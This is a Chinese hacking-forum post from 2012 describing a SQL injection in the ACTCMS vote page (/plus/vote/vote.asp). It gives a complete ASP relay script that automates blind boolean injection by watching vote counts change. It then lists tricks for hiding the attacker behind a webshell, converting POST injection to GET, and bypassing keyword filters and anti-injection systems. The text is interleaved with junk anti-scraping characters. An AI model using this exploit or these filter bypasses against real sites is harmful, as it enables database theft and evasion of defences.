找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2115|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
8 p) }7 Q: p: Q, h. H! c4 n% k. g
看到ninty大牛的blog的一篇文章
9 K  r4 Z) K7 w% m7 I) V6 a+ V" X链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
) H+ m1 p+ d2 I关于actcms漏洞的利用  by 3x qq:3818625890 v; o2 s/ D2 u: v* |1 {( B' |
转载请注明以上
) `2 _' c+ R  K' E/ r漏洞文件:3 k2 m( H2 Y, s) ~
/plus/vote/vote.asp
. E# U8 D9 D# p2 l. q9 y代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
$ N! s0 O, U) v9 A9 A' h5 T, [: Z! ?( p3 d. k) W3 R2 o
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
! C9 ]; G+ S  O9 L1 V! b1 ]* S* u9 f$ _. J' z) j/ p
3    response.end   
- j' I! [5 A; U. v+ C/ V5 E) [1 e
5 R5 D1 k0 B6 j; Y. p4 ?4    end if    & {- ]# S$ v, Y  R; {

9 u7 ^- l% T/ Y( J% a' w5    for i=1 to request("voted").count    ; i7 K+ a2 k5 k* w1 w( X
6 N- w" ]6 A2 h
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    / _; R4 P' v( [# p

' Q, M0 w4 h( }) H7    next   
9 N3 ?; W5 m8 k# W1 @8 p! [8 O/ V/ D! k8 `( i
8....   
% ]$ K6 _; N! ~  G- a$ c( ^4 T) S4 u) ]4 h% l+ L* R; k
9response.Redirect "index.asp?id="&id&""   , l5 L4 H" C  r3 ]9 _/ t) s
投票结束回跳转回index.asp这个投票结果页面2 Z7 D) m2 H; e1 o" V4 I7 F
如果投票成功票数加1% s  n! V' k( j. d% y, E1 B/ a! }
            失败票数不变
* j3 f3 o. E' y如图:
) Z7 B0 F1 m6 [* h1 y: L. ~http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
% t9 M3 J0 z! I$ ]6 {
0 [9 j! t6 q0 e$ y4 u# b2009-12-27 13:20
$ X9 n, T% p  L- S8 _$ J  _
/ m9 b" u' Q! W4 E$ g- c; K" u利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了" V) w$ u! Q; ?( L) ?; v$ ^) W

6 \' _% g; ]+ y4 [本帖隐藏的内容需要回复才可以浏览( K; L! N/ x1 M. f  j
我们用注入中转来实现这个注入具体代码如下:
: [+ M$ W$ K1 P6 `& e先用寂寞的刺猬大牛的注入中转生成jmget.asp6 }0 s6 ^, P: S% _; U
注入地址:http://localhost/actcms/plus/vote/vote.asp
* k: c  ^/ K/ ^4 |  j" ]注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
; q) }0 Q5 H8 z& o; y' _' n1 R! @0 D2 A
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
0 t, p1 S; o+ _, N. @; m) h' `9 M7 ^. `; i
02JmdcwName=request("jmdcw") % V. S+ \' A( d) N/ V7 n

: d% I" \2 i4 e' X( p03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 3 p& `, K9 B+ Q6 C- C
2 L4 P; K; ?& |" o2 m  Z# I+ Q
04JmStr="id=1&voted=-1 or 1="&JmdcwName * U$ K# }' o  S5 B4 Y

" E( `' q' G7 R+ X+ F" R* {05JmStr=URLEncoding(JmStr) 4 }4 H* ?4 G2 C1 X

1 |5 l/ w) k% Z9 |4 P06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp", `+ I' v: m, Q
" |' A2 O4 \: @: J# S
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"- O, E: _1 j# S7 S9 |

; x& O: P- z# E08testurl=testurl & "?" & JmStr
8 o! m# r9 d4 B* d5 E, E8 l- a
/ D3 h3 v3 f" h  D3 M0 G6 q7 ~6 E' N09JMUrl=JMUrl & "?" & JmStr
: P$ H, A  W2 w1 y0 l# D: _8 H8 J6 y$ H! j3 W( l' K
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
% J0 f4 S. w3 @, l+ T
0 O  [  I: |8 i& O; _, Y# b11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
! `# Z" O. b, [4 k5 ]) E# Q2 E2 S" R3 S0 C
12JmCok=replace(JmCok,chr(32),"%20")  * \% c: w4 z+ ^

7 p3 n6 P4 |9 M; D" W13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
. H* F5 l; L$ t" n2 b- m5 h+ S
( `* i* k* s: r14  
# K; n" J/ W- M: d+ u# q4 ?; |7 Q. p( J# H% x3 G6 G
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
4 F% [  s% s/ y
1 _$ l' h% X) {. ^  ?: N6 ]! C16  
" F/ i, i4 u1 n; r
6 F  A7 |1 O% ]6 O7 N17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
' O3 K9 N# P7 J; V& Y
) |5 X5 d( `; k( t) Y  o18response.write test1&""&test2&""
; f- {0 R" F/ i9 R4 t7 ?" S* `* f  e: [) g8 ^
19  : L9 K0 \4 ?7 m7 V2 w1 k
5 j% I/ H6 |' k( i7 }2 A
20if test1=test2 then '如前后记录相等,表示失败
) u0 V# q/ N. {7 f9 }8 W# `8 ?( ?
21  response.write "failed"
' r/ E, p+ J7 V8 N; @: g$ V
. G. F. G' R2 X5 |$ q( @2 T22else 7 |% o6 D" k. {! {  G; r; S
* L: d4 p$ G9 K0 ~& t. B$ ]7 {; C
23  response.write "succeed"
( |, h+ s# B3 o. o. I4 d, [$ }
. I, o) Z( Z: ]6 ?24end if  9 K7 V8 c$ g/ d

- z9 D% W( I+ [& [! ]: s25  
' d+ j6 f: n: M. e8 d! v
( y" g$ X4 B3 H' k: Z26response.write "by 3x"
2 C. s5 S+ J- m4 Y8 t) X. s) ]- D& A% b4 ~( W& e! l; I% m* V* ~
27  3 Z3 ~/ l" R# Q; {) |

# \" Y) @2 k, ^) ~& k28  + h( [- C* ^2 G4 q2 C3 o

: W" ]* C0 V' ^' m29Function PostData(PostUrl,PostStr,PostCok,PostRef)   8 ^, ^% q3 f0 ~6 M0 k

: f# }8 C4 {4 g, Q% A" J30Dim Http
) I) Z) j  V  }; m& _
1 X6 S( T1 J& T31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") / c( d8 Q2 B0 h. F$ ]' l$ q4 k" y

6 V, S' T4 _* w% x/ F) n+ o3 S0 M9 B32With Http
4 `, X; G; _8 g. I$ V4 y6 m# D* Z' X6 K/ v/ ^6 V4 a
33  . [% ^6 H% R. |

& o2 }, t8 W& l) w1 O34.Open "GET",PostUrl,False# G8 j8 C" o; A! g3 S+ ]4 y# Y4 e

- o$ T5 Y  Q0 ^35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"3 D4 r1 b% Y7 e2 a$ j) @- N

7 f, E+ e8 K; g2 h! ?& p36.SetRequestHeader "Referer",PostRef
) f% ]( O5 P$ B2 @9 D0 U
& f8 i1 N6 I  J: `4 C' S8 \, K$ v, T37.SetRequestHeader "Cookie",PostCok
" k/ A9 `; }. p0 }
6 [1 }! y2 |0 y2 k8 J' {  t38.Send () ' ]2 h! U6 E( L3 @" c6 y3 A
: N  L) @' J2 t5 e
39PostData = .ResponseBody 2 g7 u" e% P- f4 u) I, ^4 x

# P5 Q, J' W. F  X6 W: D# b40End With
1 s6 H& H7 d$ a7 |5 W8 ^( U5 Z4 e" M7 U- h+ {$ s
41Set Http = Nothing
! {' f2 U' |0 }/ k
9 l; Y5 \. W2 K$ ^; V1 }# {42PostData =bytes2BSTR(PostData)
/ K; R& e) G# N7 W2 F9 e0 T' G) {: o
* h3 @$ l: @4 q& _; y( l, b43End Function* l  o4 V: O2 @& Q5 [7 Y3 {/ D2 o
( q0 M' [+ T# m" a9 z
44  
7 j7 a" K* L' Y) X3 m' b( {. Q
1 \" W) x1 H' s) d9 I* q45  . M1 f3 E* M9 c* H8 e  S: X( S/ o
4 q; Y; r+ @! N- `1 D) f2 [; b7 ~
46Function bytes2BSTR(vIn)
( A9 s" W4 N3 Q3 v0 r* U
5 Z2 }( Z0 m' V  F& a" |- Z4 D47Dim strReturn
: Z5 x2 u8 o  b1 z; w! S* O( U* E, {: C
48Dim I, ThisCharCode, NextCharCode 8 E$ D  i+ R3 k* l0 \

+ H' g4 A- n% C) _( O3 N! A& r49strReturn = ""  U" R' r# w# G" p

* K& M8 @, \& S: q50For I = 1 To LenB(vIn)
( f! I$ V/ g4 X: r& D4 g7 V) G( |2 j' K. [8 e5 N' l" A- d4 b! b. o
51ThisCharCode = AscB(MidB(vIn, I, 1))
* o$ d9 ~: h5 L% `
9 K, e2 u9 V; ^0 M) ?52If ThisCharCode < &H80 Then
0 |2 a0 Z, K9 G: v* i1 G7 c5 S+ `, d1 p
53strReturn = strReturn & Chr(ThisCharCode)
( x! K) ]  J2 g+ a+ l. g4 Z- P2 [
$ z6 l; R" V1 i+ a54Else+ t( m8 H; m! O3 X; y5 W4 @

+ D" w1 b7 N! z# ?, j55NextCharCode = AscB(MidB(vIn, I + 1, 1))
& U5 y- x6 v* E! R6 d" S# R9 x) V! X4 \. P
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
) ]  [5 ]0 G. a& W; ]
0 t% _# A+ ^+ J1 C1 Q6 |57I = I + 1
' ~$ [- _9 C! n" X! l/ o, }6 k! o3 W; i4 _4 G9 Q
58End If* L3 r' J, M+ s0 H' Z
  j2 t1 \. b- Y+ x5 i
59Next
6 ^/ {4 J( u# I3 u5 H
% k0 ?; t- C; b; s  p60bytes2BSTR = strReturn ' [+ W: w  h, j" a2 L
, X6 ]  o6 O; s! H8 ^8 \2 k
61End Function
% C' B# O& }, B
$ u0 F$ r& X* B( V$ l$ r( p62  4 d+ k- D- U/ R" ?4 m+ B
* d  y) z$ U9 b/ s: q) b
63Function URLEncoding(vstrin)  
1 B5 X5 q. h" g2 [% \
7 O  r! F; v6 O$ }9 \5 F# L64strReturn=""8 Y& r& f2 Z! N! c& E" ]: ]! E
1 h! f' y" n; T( W
65Dim i 1 Z/ P% I. C0 C0 k. r
5 q) q! l/ b8 B; K  W7 w: k0 P
66For i=1 To Len(vstrin)
3 S! S" o( H* u- J% j
' C3 C5 I5 f! ]67ThisChr=Mid(vstrin,i,1)
2 l. x6 u2 D. t) E8 u9 I: t# \& {
) \" \8 J1 @( n3 `68if Abs(Asc(ThisChr))< &HFF Then
5 b8 r% }& r2 ]% P( Z' p1 F/ Y3 c
0 C( d/ \# ~- z3 H/ O3 k. X8 O) O69strReturn=strReturn & ThisChr 5 m' r6 t4 S, _5 i0 X

. @# b9 n' L- G- }* i. O( F70Else
+ @! [$ q: l9 K( @2 [* Z
5 v: g; ~( e. e/ |- K% \$ W71InnerCode=Asc(ThisChr) . y& A. c2 G) |2 n

6 p/ X. ~: i5 C$ X" @72If InnerCode<0 Then
  w1 [' t7 k6 I8 T' M
( U$ s. M( F" l: h5 ~& m/ D! \73InnerCode=InnerCode + &H10000
4 ~$ D$ |/ U5 p2 x2 D; v3 \
0 k0 O" |0 a. I- g8 [0 X- F# W74End If
8 N0 L' t2 _8 w6 V+ w: H; I( C' H5 }3 o. q4 n# C
75Hight1=(InnerCode And &HFF00) \&HFF ( e0 |- A7 z8 Q* I  L& N" o6 c% M
; {2 ]7 R: _3 ]2 _: ]9 g* y1 u
76Low1=InnerCode And &HFF
' m1 N3 \7 q, c8 q3 l
5 Y; c& e4 c  ]6 s1 ^+ Z5 Y& H77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) 0 ~  h1 J* l5 h+ Z
3 }* @" k# a( ]& v
78End if   ?+ k) z+ [# M- Y
; j4 \5 E, p& z! s# L6 x* x3 J& K6 ]
79Next
8 d% r9 |) S. B( Y/ e8 v2 G
' g0 ^" K# o0 L& o2 N80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
5 P) x1 G6 c* U' f, P- @2 n4 p- h+ J6 }1 {" N+ u- ]
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 ) ?5 j  p" p1 p! H

) e- N' b6 f# b: @82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
, W+ o$ P8 q  g  R, f- e& w6 l" p' q2 E. @: w: }
83URLEncoding=strReturn ! {% u; w9 U' a2 Z' T/ \
& }, L. Q& c( k/ }* x
84End Function
$ f9 L. X5 Y5 l( w9 {$ W( s7 j
' D' z; `. R, K1 D. J9 Z85  
2 v3 i" J# b- K/ \0 N$ x) L0 }
  _9 [  i. B* Q2 y+ s86function getSt(body) " h/ j" H' f" H+ U* J0 M
- P: i4 }9 G* ?
87  startpot=instr(body,"投票人数:")+len("投票人数:") % [( g! u/ b- d) p7 d3 j" C2 `

. x) T8 I8 d! q" a. u& D+ ~9 R88  endpot=instr(startpot,body," ")
% F8 |1 a+ s6 i% _7 w9 i# k& U  `  j( d3 }+ }$ t
89  getSt=mid(body,startpot,endpot-startpot)
# i8 t6 f* O9 J/ x( P1 n- T# {& z: U  x. R; {
90end function
. O8 L6 N( O' e2 q4 G# ~# v8 t0 ?- D) ~
91%>
* w3 E) z/ r- L注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了" g: M! a' H! ]# d. V" o6 t
测试下效果:
6 J- L$ W5 @5 I3 Q2 z投票成功:
' s% R2 X9 w$ d/ e- @: Ehttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
4 Q& h8 x/ \' z8 v- R9 ~
8 L9 n" b& i( @3 @& b2009-12-27 13:29* e. @% O+ [* B5 p, i
投票失败
. n  t; _* k3 t% d' vhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB): u+ c5 y+ `* S; O( g

0 D: |+ ]- v% p; X0 R4 ~2009-12-27 13:293 n$ c0 U6 F( c( q$ C
-------------------------------------------------------------------------------
, J, s" n# E3 F. Q5 `( R$ ?再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以* b0 y$ J* o, M( c; t4 F# H
很抱歉。。。只能用单线程工具去注入。。。。。) `( [/ Z# K! g% v( g* q1 ]
所以失败。。。不好意思。。。
! U3 s; E1 H& \/ g7 e2 L' Q- x-------------------------------------------------------------------------------  r" y/ Q% E* }% _7 a, m% A; z$ ]
( X+ E; q0 T& t, _) s
注入中转的一些其他应用, M% @4 J4 `1 d
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
' x( z/ g, F; P1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id# _- V- b- k; [- B: x+ y8 Z
2.post注入转成get型的注入,方便我们使用工具来跑
( M& `' r5 G4 w: k! I( s% d3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")( s5 I5 m* d, e( }
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过% |% L/ m3 M; w- I

# j. G/ v9 v4 m2 i5 z' {% a8 m
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表